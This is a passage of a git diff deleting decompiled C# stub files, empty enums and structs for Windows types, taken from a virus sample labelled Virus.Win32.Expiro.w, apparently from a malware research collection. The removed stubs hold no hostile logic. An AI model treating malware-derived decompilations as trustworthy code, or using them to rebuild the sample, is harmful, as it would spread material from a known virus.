PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _STORAGE_QUERY_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STREAM_INFO_LEVELS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STREAM_INFO_LEVELS.cs deleted file mode 100644 index a9d783f8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_STREAM_INFO_LEVELS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _STREAM_INFO_LEVELS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _STREAM_INFO_LEVELS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SYSTEM_POWER_STATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SYSTEM_POWER_STATE.cs deleted file mode 100644 index 2e0fe477..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SYSTEM_POWER_STATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SYSTEM_POWER_STATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _SYSTEM_POWER_STATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SecDelegationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SecDelegationType.cs deleted file mode 100644 index b3c1a143..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SecDelegationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _SecDelegationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _SecDelegationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TAPE_DRIVE_PROBLEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TAPE_DRIVE_PROBLEM_TYPE.cs deleted file mode 100644 index 393946bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TAPE_DRIVE_PROBLEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TAPE_DRIVE_PROBLEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TAPE_DRIVE_PROBLEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs deleted file mode 100644 index 61ffeecf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_COMMON_BUTTON_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_COMMON_BUTTON_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TASKDIALOG_COMMON_BUTTON_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ELEMENTS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ELEMENTS.cs deleted file mode 100644 index 1b09b913..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ELEMENTS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_ELEMENTS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TASKDIALOG_ELEMENTS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_FLAGS.cs deleted file mode 100644 index 1dcb9696..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TASKDIALOG_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ICON_ELEMENTS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ICON_ELEMENTS.cs deleted file mode 100644 index 029478af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_ICON_ELEMENTS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_ICON_ELEMENTS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _TASKDIALOG_ICON_ELEMENTS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_MESSAGES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_MESSAGES.cs deleted file mode 100644 index 0aaad3f7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_MESSAGES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_MESSAGES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TASKDIALOG_MESSAGES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_NOTIFICATIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_NOTIFICATIONS.cs deleted file mode 100644 index 6bef6990..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TASKDIALOG_NOTIFICATIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TASKDIALOG_NOTIFICATIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TASKDIALOG_NOTIFICATIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_THDTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_THDTYPE.cs deleted file mode 100644 index d36c9171..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_THDTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _THDTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _THDTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_ELEVATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_ELEVATION_TYPE.cs deleted file mode 100644 index 4e30cc86..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_ELEVATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_ELEVATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TOKEN_ELEVATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_INFORMATION_CLASS.cs deleted file mode 100644 index bee4bf63..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TOKEN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_MANDATORY_LABEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_MANDATORY_LABEL.cs deleted file mode 100644 index bc9c9397..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_MANDATORY_LABEL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_MANDATORY_LABEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _TOKEN_MANDATORY_LABEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_OWNER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_OWNER.cs deleted file mode 100644 index 223fccdc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_OWNER.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_OWNER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct _TOKEN_OWNER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_STATISTICS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_STATISTICS.cs deleted file mode 100644 index fa986d68..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_STATISTICS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_STATISTICS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct _TOKEN_STATISTICS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_TYPE.cs deleted file mode 100644 index f3ee9917..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TOKEN_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TOKEN_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TP_CALLBACK_ENVIRON.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TP_CALLBACK_ENVIRON.cs deleted file mode 100644 index 22ed9f9c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TP_CALLBACK_ENVIRON.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TP_CALLBACK_ENVIRON -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _TP_CALLBACK_ENVIRON -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u002480\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u002481\u0024 - { - } - } - - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 4)] - internal struct \u0024UnnamedClass\u00240x7907e524\u002480\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024UnnamedClass\u00240x7907e524\u002481\u0024 - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs deleted file mode 100644 index ee9bcbb5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTIONMANAGER_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTIONMANAGER_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TRANSACTIONMANAGER_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_INFORMATION_CLASS.cs deleted file mode 100644 index 5e1028d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _TRANSACTION_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_OUTCOME.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_OUTCOME.cs deleted file mode 100644 index 22f0349b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_TRANSACTION_OUTCOME.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRANSACTION_OUTCOME -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 